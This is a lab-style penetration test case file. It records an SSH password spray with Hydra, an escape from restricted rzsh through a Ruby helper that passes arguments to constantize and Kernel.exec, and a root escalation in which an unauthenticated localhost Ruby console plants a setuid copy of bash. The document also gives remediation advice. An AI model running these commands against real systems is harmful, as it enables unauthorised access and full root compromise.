Case file

Restricted rzsh escape and local Ruby service to SUID bash

Intermediate SSH engagement: password spray into a restricted rzsh; Rails-style constantize abuse escaped the jail; a localhost Ruby console planted a SUID bash for root.

Intermediate26 minLinux · SSH · Restricted Shell · Privilege Escalation
  • Only SSH was exposed. After spraying a filtered rockyou list we landed in rzsh, escaped via an unsafe Ruby helper, then abused a loopback Ruby service to drop a SUID shell.

  • Filtered rockyou for the “bu” hint and sprayed SSH as noraj until cheeseburger succeeded.

  • test.rb reflected ARGV into constantize/send. Kernel.exec '/bin/zsh' restored a usable shell and PATH.

  • A Ruby netstat helper showed 127.0.0.1:31547 listening. The console accepted exec to plant /tmp/bash with setuid.

01

Engagement summary

Only SSH was exposed. After spraying a filtered rockyou list we landed in rzsh, escaped via an unsafe Ruby helper, then abused a loopback Ruby service to drop a SUID shell.

Host RED STONE ONE CARAT (10.201.116.83) offered OpenSSH only. A password hint narrowed rockyou to strings containing “bu”; Hydra recovered noraj:cheeseburger and dropped us into /bin/rzsh with PATH limited to /home/noraj/bin. A helper test.rb used String#constantize and send on attacker-controlled arguments, allowing Kernel.exec into a real shell. Local enumeration found a Ruby listener on 127.0.0.1:31547 that accepted IRB-style commands; from there we copied bash to /tmp with the setuid bit and executed /tmp/bash -p as root.

Business impact

Restricted shells that still expose reflective interpreters are not containment. Local services bound without authentication complete the path to root. Remove unsafe reflection helpers, bind admin consoles to authenticated channels only, and avoid leaving SUID copies of shells in world-writable paths.

02

SSH password spray

Filtered rockyou for the “bu” hint and sprayed SSH as noraj until cheeseburger succeeded.

OPERATOR · NMAP

savvy@lab:~$ nmap -sV 10.201.116.83

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

OPERATOR · HYDRA

savvy@lab:~$ grep "bu" /usr/share/wordlists/rockyou.txt > pass.txt

savvy@lab:~$ hydra -l noraj -P pass.txt 10.201.116.83 ssh

[22][ssh] host: 10.201.116.83 login: noraj password: cheeseburger

savvy@lab:~$ ssh noraj@10.201.116.83

savvy@lab:~$

# shell is /bin/rzsh; PATH=/home/noraj/bin

03

Restricted shell escape via Ruby constantize

test.rb reflected ARGV into constantize/send. Kernel.exec '/bin/zsh' restored a usable shell and PATH.

HELPER

test.rb

klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
puts obj

OPERATOR · ESCAPE

savvy@lab:~$ test.rb Kernel exec '/bin/zsh'

savvy@lab:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

savvy@lab:~$ id

uid=1000(noraj) gid=1000(noraj) groups=1000(noraj)

04

Localhost Ruby console to SUID bash

A Ruby netstat helper showed 127.0.0.1:31547 listening. The console accepted exec to plant /tmp/bash with setuid.

OPERATOR · LOCAL SERVICE

savvy@lab:~$ ruby netstat.rb

tcp 127.0.0.1:31547 LISTEN

savvy@lab:~$ nc 127.0.0.1 31547

>> exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!

savvy@lab:~$ /tmp/bash -p

root@lab:~# id

uid=0(root) gid=1000(noraj) groups=1000(noraj)

Remediation

Do not ship restricted shells alongside reflective helpers that call Kernel.exec. Authenticate or remove loopback admin consoles. Monitor for setuid copies of interpreters and shells under /tmp.